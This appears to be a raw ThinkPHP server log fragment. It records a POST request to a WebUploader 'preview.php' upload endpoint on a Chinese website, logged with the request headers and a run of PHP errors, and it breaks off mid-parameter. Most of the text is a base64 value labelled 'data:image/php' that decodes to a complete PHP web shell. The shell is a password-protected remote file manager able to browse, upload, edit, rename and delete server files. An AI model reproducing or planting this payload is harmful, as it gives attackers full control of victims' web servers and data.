'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'public' => 'js', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:52+08:00 ] 116.213.36.234 POST www.51tianwei.com/web/dist/static/webuploader/0.1.15/server/preview.php [运行时间:0.002307s] [吞吐率:433.47req/s] [内存消耗:138.52kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'dist', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 